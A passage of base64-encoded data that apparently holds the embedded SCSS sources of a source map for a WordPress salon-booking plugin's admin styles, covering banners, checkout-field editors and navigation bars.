YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tb3BlblxuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG5cdFx0XHRcdGNvbG9yOiAjMDI3N2JkO1xuXHRcdFx0fVxuXHRcdFx0LnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4jcG9zdHN0dWZmICNzbG5fc2VydmljZS1kZXRhaWxzID4gaDIuaG5kbGUudWktc29ydGFibGUtaGFuZGxlIHtcblx0LyogRklYIDA5MjAyMyBAZXh0ZW5kIC5zbG4tYm94LXRpdGxlOyovXG5cdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdHNwYW4ge1xuXHRcdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0XHRmb250LXNpemU6IDFlbTtcblx0fVxufVxuIiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuXG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG5cbi5zbG4tYWRtaW4tYmFubmVyIHtcblx0ZGlzcGxheTogZ3JpZDtcblx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxMDAlO1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG8gYXV0byBhdXRvO1xuXHRnYXA6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdGJhY2tncm91bmQtY29sb3I6ICNGRkY7XG5cdGgxLFxuXHRoMixcblx0aDMge1xuXHRcdGNvbG9yOiAjYjVjNmRlO1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0fVxuXHRoMSB7XG5cdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0Z3JpZC1yb3c6IDE7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjY7XG5cdH1cblx0aDMge1xuXHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdGdyaWQtcm93OiAzO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0XHRsaW5lLWhlaWdodDogMS42O1xuXHRcdHBhZGRpbmctdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDNweCk7XG5cdH1cblx0LnNsbi1hZG1pbi1iYW5uZXJfX2FjdGlvbnMge1xuXHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdGdyaWQtcm93OiAyO1xuXHR9XG5cdC5zbG4tYnRuLS1ib3JkZXJvbmx5LS13LnNsbi1idG4tLWljb24ge1xuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiAjZTQzMjIyO1xuXHRcdH1cblx0XHQmOmhvdmVyLFxuXHRcdCY6Zm9jdXMge1xuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9vaztcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNjAlIDQwJTtcblx0XHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG8gYXV0bztcblx0XHRnYXA6IDA7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MnB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdGgxIHtcblx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI3cHgpO1xuXHRcdH1cblx0XHRoMyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIzcHgpO1xuXHRcdH1cblx0XHQuc2xuLWFkbWluLWJhbm5lcl9fYWN0aW9ucyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxIC8gc3BhbiAyO1xuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDgwMHB4KSB7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0MCUgMzUlIDI1JTtcblx0XHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cdFx0aDEge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0fVxuXHRcdGgzIHtcblx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0fVxuXHRcdC5zbG4tYWRtaW4tYmFubmVyX19hY3Rpb25zIHtcblx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0fVxuXHR9XG5cdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTM2NnB4KSB7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAzMHZ3IDI1dncgMjB2dyBhdXRvO1xuXHR9XG5cdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTkyMHB4KSB7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAzN3Z3IDI1dncgMTh2dyBhdXRvO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNDVweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRoMSB7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMzNweCk7XG5cdFx0fVxuXHRcdGgxLFxuXHRcdGgzLFxuXHRcdC5zbG4tYWRtaW4tYmFubmVyX19hY3Rpb25zIHtcblx0XHRcdGFsaWduLXNlbGY6IGNlbnRlcjtcblx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0fVxuXHR9XG59XG5cbi5zbG4tYWRtaW4tYmFubmVyX19vbGQge1xuXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRwYWRkaW5nLWJvdHRvbTogMDtcblx0Y2xlYXI6IGJvdGg7XG5cdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4sIDAuOSk7XG5cdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihhbGwgNTAwbXMpO1xuXHRoMSxcblx0aDIsXG5cdGgzLFxuXHRoNCB7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG5cdFx0bWFyZ2luOiAwIDAgMS40ZW0gMDtcblx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjU7XG5cdH1cblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA5OTFweCkge1xuXHRcdHBvc2l0aW9uOiBmaXhlZDtcblx0XHRib3R0b206IC0xMDB2aDtcblx0XHRsZWZ0OiAwO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHotaW5kZXg6IDk5OTtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHQmLnNsbi1hZG1pbi1iYW5uZXJfX29sZC0taW52aWV3IHtcblx0XHRcdGJvdHRvbTogMDtcblx0XHR9XG5cdFx0aDEsXG5cdFx0aDIge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRmb250LXNpemU6IDEuNGVtO1xuXHRcdFx0bWF4LXdpZHRoOiA0MTRweDtcblx0XHRcdG1hcmdpbi1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdG1hcmdpbi1yaWdodDogYXV0bztcblx0XHRcdG1hcmdpbi1sZWZ0OiBhdXRvO1xuXHRcdH1cblx0XHRoMyxcblx0XHRoNCB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdGZvbnQtc2l6ZTogMS4yZW07XG5cdFx0XHRtYXgtd2lkdGg6IDQxNHB4O1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiBhdXRvO1xuXHRcdFx0bWFyZ2luLWxlZnQ6IGF1dG87XG5cdFx0fVxuXHRcdC5zbG4tYnRuLnNsbi1idG4tLWJhbm5lciB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdG1heC13aWR0aDogNDE0cHg7XG5cdFx0XHRtYXJnaW4tcmlnaHQ6IGF1dG87XG5cdFx0XHRtYXJnaW4tbGVmdDogYXV0bztcblx0XHRcdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzZweCk7XG5cdFx0fVxuXHR9XG59XG4uc2xuLWFkbWluLWJhbm5lcl9fb2xkLWNvbnRlbnQge1xufVxuLnNsbi1iYW5uZXItYm90dG9tIHtcblx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdHdpZHRoOiBhdXRvO1xuXHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oODBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSAqIC0xIHNldHRpbmdzLW1peGlucy5yZW0oNjBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSAqIC0xO1xuXHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHQuc2xuLWJhbm5lci1sb2dvd3JhcHBlciB7XG5cdFx0bWF4LXdpZHRoOiA0MTRweDtcblx0XHRtYXJnaW4tcmlnaHQ6IGF1dG87XG5cdFx0bWFyZ2luLWxlZnQ6IGF1dG87XG5cdH1cblx0YSB7XG5cdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdHdpZHRoOiA0MCU7XG5cdFx0bWF4LXdpZHRoOiAxMjBweDtcblx0XHRtYXJnaW46IDA7XG5cdFx0aW1nIHtcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEwMjRweCkge1xuXHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpICogLTEgMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpICogLTE7XG5cdFx0YSB7XG5cdFx0XHR3aWR0aDogNjAlO1xuXHRcdH1cblx0fVxufVxuLnNsbi1hZG1pbi1iYW5uZXJfX29sZC0tdHJpZ2dlci5zbG4tYnRuIHtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZ3JlZW47XG5cdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0d2lkdGg6IGF1dG87XG5cdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oODBweCk7XG5cdFx0bWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDMyMHB4KTtcblx0XHRmbG9hdDogbGVmdDtcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdG1hcmdpbi1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHR9XG59XG4uc2xuLWFkbWluLWJhbm5lcl9fb2xkLS1jbG9zZXdyYXBwZXIge1xuXHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHR0ZXh0LWFsaWduOiByaWdodDtcbn1cbi5zbG4tYWRtaW4tYmFubmVyX19vbGQtLWNsb3NlLnNsbi1idG4ge1xuXHQvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcblx0Ly90b3A6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdC8vcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG59XG5cblxuXG4uc2xuLXByb21vLW1lc3NhZ2V7XG5cdG9wYWNpdHk6IDA7XG4gICBiYWNrZ3JvdW5kLWNvbG9yOiAjNGU5NGI3OyBjb2xvcjphZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlOyBwYWRkaW5nOiAxMHB4O1xuICBkaXNwbGF5OiBncmlkO1xuICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDAuNmZyIDFmciAxZnIgMWZyO1xuICBncmlkLXRlbXBsYXRlLXJvd3M6IDMwcHggODBweCA1MHB4O1xuICBnYXA6IDBweCAwcHg7XG4gIGdyaWQtdGVtcGxhdGUtYXJlYXM6XG4gICAgXCIuIC4gLiAuXCJcbiAgICBcIi4gLiAuIC5cIlxuICAgIFwiLiAuIC4gLlwiO1xuICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogOXB4O1xuLW1vei1ib3JkZXItcmFkaXVzOiA5cHg7XG5ib3JkZXItcmFkaXVzOiA5cHg7XG4td2Via2l0LWJveC1zaGFkb3c6IDVweCA1cHggMnB4IC0ycHggI0M3QzdDNzsgXG5ib3gtc2hhZG93OiA1cHggNXB4IDJweCAtMnB4ICNDN0M3Qzc7XG5wb3NpdGlvbjogYWJzb2x1dGU7XG50b3A6LTgwcHg7XG53aWR0aDogMjUlO1xufVxuXG5wLm1lc3NhZ2UtaW5mby1sZWZ0LCBwLm1lc3NhZ2UtaW5mby1yaWdodHtjb2xvcjogI2IxY2VkYzsgYWxpZ24tc2VsZjogY2VudGVyO31cbnAubWVzc2FnZS1pbmZvLWxlZnR7Zm9udC13ZWlnaHQ6IGJvbGQ7fVxucC5tZXNzYWdlLWNvbnRlbnR7Z3JpZC1yb3c6ICAgIDI7IGdyaWQtY29sdW1uOiAyIC8gNTsgZm9udC1zaXplOiAxNnB4OyAgICAgYWxpZ24tc2VsZjogY2VudGVyOyBsaW5lLWhlaWdodDogMTlweDt9XG5hLm1lc3NhZ2UtY3Rhe2dyaWQtcm93OiAzOyBncmlkLWNvbHVtbjogMiAvIDU7IGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjM2ODhhOyBib3JkZXI6IDJweCBzb2xpZCAjZmZmOyBwYWRkaW5nOjdweCA0cHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgd2lkdGg6IDM1JTsgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAzM3B4O1xuLW1vei1ib3JkZXItcmFkaXVzOiAzM3B4OyBib3JkZXItcmFkaXVzOiAzM3B4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IGhlaWdodDogMzdweDsgYWxpZ24tc2VsZjogY2VudGVyO31cbnAubWVzc2FnZS1pbmZvLXJpZ2h0e2dyaWQtcm93OiAxOyBncmlkLWNvbHVtbjogNDt9XG5hLm1lc3NhZ2UtY3RhOmhvdmVye3dpZHRoOiA2NSU7ICAgICAtd2Via2l0LXRyYW5zaXRpb246IHdpZHRoIDFzIGVhc2UtaW4tb3V0O1xuICAgIC1tb3otdHJhbnNpdGlvbjogd2lkdGggMnMgZWFzZS1pbi1vdXQ7XG4gICAgLW8tdHJhbnNpdGlvbjogd2lkdGggMnMgZWFzZS1pbi1vdXQ7XG4gICAgdHJhbnNpdGlvbjogd2lkdGggMnMgZWFzZS1pbi1vdXQ7fVxuaW1nLnR5cGluZ19tc2d7Z3JpZC1yb3c6IDI7IGdyaWQtY29sdW1uOiA0OyB9XG4iLCJAdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5cbiNzbG4tc2Fsb24tLWFkbWluIHtcblx0LnNsbi1jaGVja291dC1maWVsZHMge1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHR9XG5cblx0LnNsbi1jdXN0b20tZmllbGRzLWRlbGV0ZSB7XG5cdFx0Y29sb3I6IHJlZDtcblx0fVxuXG5cdC5zbG4tY3VzdG9tLWZpZWxkcy1lZGl0IHtcblx0XHRjb2xvcjogIzAwNzNhNDtcblx0fVxuXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1jZWxsIHtcblx0XHRmbGV4LWdyb3c6IDE7XG5cdH1cblxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0taGVhZGVyLWNlbGwge1xuXHRcdGNvbG9yOiAjMzI5M2JkO1xuXHR9XG5cblx0LnNsbi1jaGVja291dC1maWVsZHMtLXJvdyB7XG5cdFx0cGFkZGluZy1ib3R0b206IDE1cHg7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHBhZGRpbmctdG9wOiAyMHB4O1xuXG5cdFx0Jjpub3QoOmxhc3QtY2hpbGQpIHtcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgxOTksIDIyMywgMjQzLCAwLjM1KTtcblx0XHR9XG5cblx0XHQmLnNlbGVjdGVkIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICM4ZmMwZTg7XG5cdFx0fVxuXHR9XG5cblx0LnNsbi1jaGVja291dC1maWVsZHMtLXJvdy13cmFwcGVyLFxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0taGVhZGVyLXdyYXBwZXIge1xuXHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0fVxuXG5cdC5zbG5fbGFiZWxfY2VsbCB7XG5cdFx0dGV4dC1hbGlnbjogbGVmdDtcblx0fVxuXG5cdC5zbG5fbGFiZWxfY2VsbCxcblx0LnNsbi1jaGVja291dC1maWVsZHMtLWhlYWRlci1jZWxsIHtcblx0XHRmb250LXdlaWdodDogNTAwO1xuXHR9XG5cblx0LmZpZWxkcy1lZGl0b3Ige1xuXHRcdHRleHQtYWxpZ246IGxlZnQ7XG5cdH1cblxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0tcm93LXdyYXBwZXIsXG5cdC5maWVsZHMtZWRpdG9yIHtcblx0XHRpbnB1dFtkaXNhYmxlZF0sXG5cdFx0c2VsZWN0W2Rpc2FibGVkXSxcblx0XHRzZWxlY3RbZGlzYWJsZWRdICsgLnNlbGVjdDIgLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdFx0dGV4dGFyZWFbZGlzYWJsZWRdLFxuXHRcdGlucHV0W2Rpc2FibGVkXSArIGxhYmVsIHtcblx0XHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdFx0fVxuXG5cdFx0LnNsbi1jaGVja2JveCBpbnB1dCB7XG5cdFx0XHQmW2Rpc2FibGVkXSArIGxhYmVsIHtcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRib3JkZXItY29sb3I6ICNjY2M7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogI2NjYztcblx0XHRcdFx0fVxuXHRcdFx0fVxuXG5cdFx0XHQmOm5vdCg6Y2hlY2tlZCkgKyBsYWJlbDphZnRlciB7XG5cdFx0XHRcdGNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHQuZmllbGRzLWVkaXRvci5pbnZhbGlkIGlucHV0W25hbWU9XCJmaWVsZHNfZWRpdG9yW2xhYmVsXVwiXSB7XG5cdFx0Ym9yZGVyLWNvbG9yOiAjZDIyMjIxICFpbXBvcnRhbnQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAycHg7XG5cdH1cblxuXHQuc2xuLWJveC1maWVsZHMtZWRpdG9yIHtcblx0XHRiYWNrZ3JvdW5kOiAjZWJmM2ZiO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0bWFyZ2luLWxlZnQ6IC0xLjY2NjY3cmVtO1xuXHRcdG1hcmdpbi1yaWdodDogLTEuNjY2NjdyZW07XG5cdH1cblxuXHQuZmllbGRzLWVkaXRvci1tYWluLXJvdyB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogZmxleC1lbmQ7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHR9XG5cblx0LnNsbi1jaGVja291dC1maWVsZHMtLWdyaXAtLWNlbGwge1xuXHRcdHdpZHRoOiAyMHB4O1xuXHR9XG5cblx0LnNsbi1jdXN0b20tZmllbGQtYnV0dG9uIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRoZWlnaHQ6IDMuMzNyZW07XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHBhZGRpbmctdG9wOiAxMHB4O1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Zm9udC1mYW1pbHk6IEZvbnRBd2Vzb21lO1xuXHRcdFx0Zm9udC1zaXplOiAyZW07XG5cdFx0XHR0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG5cdFx0XHQmOmhvdmVyLFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMik7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0tcm93IC5zbG4tY2hlY2tvdXQtZmllbGRzLS1ncmlwLS1jZWxsIHtcblx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0LyogRklYIDA5MjAyMyBcblx0XHQmOjphZnRlcntcblx0XHRcdEBpbmNsdWRlIGZvbnQtaWNvbigxZW0pO1xuXHRcdFx0Y29udGVudDogJ1xcZjU4ZSc7XG5cdFx0XHRjb2xvcjogIzAwNzNhNDtcblx0XHR9XG5cdFx0Ki9cblx0fVxuXG5cdC5maWVsZHMtZWRpdG9yIHtcblx0XHQvKiBGSVggMDkyMDIzIFxuXHRcdC5jbG9zZS1yb3cge1xuXHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdFx0XHRtaW4taGVpZ2h0OiAyOHB4O1xuXHRcdH1cblx0XHQuZmllbGRzLWVkaXRvci1jbG9zZTo6YWZ0ZXIge1xuXHRcdFx0QGluY2x1ZGUgZm9udC1pY29uKDJlbSk7XG5cdFx0XHRjb250ZW50OiBcIlxcZjA1N1wiO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0XHRcdGNvbG9yOiAjMDAwO1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdH1cblx0XHQqL1xuXHR9XG5cblx0LnNsbi1maWVsZC1lZGl0b3ItYnV0dG9uLWNvbCB7XG5cdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdC5zbG4tYnRuLFxuXHRcdC5idG4ge1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRtaW4td2lkdGg6IGF1dG87XG5cdFx0fVxuXHR9XG5cblx0LnNsbi1maWVsZC1lZGl0b3ItZGVmYXVsdC12YWx1ZS1jb2wgLnNsbi1jaGVja2JveCB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdC5maWVsZHMtZWRpdG9yW2RhdGEtbW9kZT1cIm5ld1wiXSAuY2xvc2Utcm93IHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG5cblx0LnNsbi1jaGVja291dC1maWVsZHMtLXJvdyAuc2xuLWNoZWNrYm94IGxhYmVsIHtcblx0XHRib3JkZXItYm90dG9tOiAwO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHR9XG5cblx0LnNsbi1maWVsZC1lZGl0b3ItYnV0dG9uLWNvbCB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMS42NjY2N3JlbTtcblx0fVxufVxuIiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuQHVzZSBcIi4uL3R5cG8tYWRtaW5cIjtcblxuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG4gICAgLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXIge1xuICAgICAgICB3aWR0aDogY2FsYygxMDAlICsgMjVweCk7XG4gICAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgbWFyZ2luLWxlZnQ6IC05cHg7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgICAgIC8vXG4gICAgICAgIG92ZXJmbG93LXk6IGhpZGRlbjtcbiAgICAgICAgQGV4dGVuZCAlemktdG9wO1xuICAgICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbih0b3AgMTUwbXMpO1xuICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXItLWZrIHtcbiAgICAgICAgICAgIGhlaWdodDogMDtcbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfaW5uZXIge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXIge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgICAgICAgICAgIGZsZXg6IDEgMCBhdXRvO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4taW5wYWdlX25hdmJhcml0ZW0ge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIGZsZXg6IDEgMCBhdXRvO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgd2lkdGg6IDQ0cHg7XG4gICAgICAgICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcu